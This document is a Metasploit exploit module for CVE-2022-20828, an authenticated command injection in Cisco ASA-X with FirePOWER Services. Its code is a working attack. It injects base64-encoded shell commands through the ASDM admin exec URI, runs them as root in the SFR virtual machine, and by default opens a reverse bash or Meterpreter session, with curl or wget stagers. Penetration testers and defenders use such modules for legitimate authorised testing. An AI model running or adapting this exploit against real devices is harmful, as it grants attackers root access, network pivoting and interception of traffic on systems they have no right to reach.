##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco ASA-X with FirePOWER Services Authenticated Command Injection',
        'Description' => %q{
          This module exploits an authenticated command injection vulnerability affecting
          Cisco ASA-X with FirePOWER Services. This exploit is executed through the ASA's
          ASDM web server and lands in the FirePower Services SFR module's Linux virtual
          machine as the root user. Access to the virtual machine allows the attacker to
          pivot to the inside network, and access the outside network. Also, the SFR
          virtual machine is running snort on the traffic flowing through the ASA, so
          the attacker should have access to this diverted traffic as well.

          This module requires ASDM credentials in order to traverse the ASDM interface.
          A similar attack can be performed via Cisco CLI (over SSH), although that isn't
          implemented here.

          Finally, it's worth noting that this attack bypasses the affects of the
          `lockdown-sensor` command (e.g. the virtual machine's bash shell shouldn't be
          available but this attack makes it available).

          Cisco assigned this issue CVE-2022-20828. The issue affects all Cisco ASA that
          support the ASA FirePOWER module (at least Cisco ASA-X with FirePOWER Service,
          and Cisco ISA 3000). The vulnerability has been patched in ASA FirePOWER module
          versions 6.2.3.19, 6.4.0.15, 6.6.7, and 7.0.21. The following versions will
          receive no patch: 6.2.2 and earlier, 6.3.*, 6.5.*, and 6.7.*.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'jbaines-r7' # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          [ 'CVE', '2022-20828' ],
          [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asasfr-cmd-inject-PE4GfdG' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2022/08/11/rapid7-discovered-vulnerabilities-in-cisco-asa-asdm-and-firepower-services-software/' ],
          [ 'URL', 'https://www.cisco.com/c/en/us/td/docs/security/asa/quick_start/sfr/firepower-qsg.html']
        ],
        'DisclosureDate' => '2022-06-22',
        'Privileged' => true,
        'Targets' => [
          [
            'Shell Dropper',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X64,
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'curl', 'wget' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', '']),
    ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/admin/exec/session+sfr+do+`id`'),
      'headers' =>
      {
        'User-Agent' => 'ASDM/ Java/1',
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      }
    })
    return CheckCode::Unknown('The target did not respond to the check.') unless res
    return CheckCode::Safe('Authentication failed.') if res.code == 401
    return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200

    if res.body.include?('Invalid do command uid=0(root)')
      return CheckCode::Vulnerable("Successfully executed the 'id' command.")
    end

    CheckCode::Safe('The command injection does not appear to work.')
  end

  def execute_command(cmd, _opts = {})
    # base64 encode the payload to work around bad characters and then uri encode
    # the whole thing before yeeting it at the server
    encoded_payload = Rex::Text.uri_encode("(base64 -d<<<#{Rex::Text.encode_base64(cmd)}|sh)&")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "/admin/exec/session+sfr+do+`#{encoded_payload}`"),
      'headers' =>
      {
        'User-Agent' => 'ASDM/ Java/1',
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      }
    })

    if res
      fail_with(Failure::Unreachable, 'The target did not respond.') unless res
      fail_with(Failure::NoAccess, 'Could not log in. Verify credentials.') if res.code == 401
      fail_with(Failure::UnexpectedReply, "Received unexpected HTTP status code: #{res.code}.") unless res.code == 200
    end

    if session_created?
      # technically speaking, bash can hold the connection open and skip all the res checks
      # also passing the res checks doesn't actually mean that the target was exploited so
      # check a session was created to get verification
      print_good('Session created!')
    else
      fail_with(Failure::NotVulnerable, 'The exploit was thrown but not session was created.')
    end
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end
end
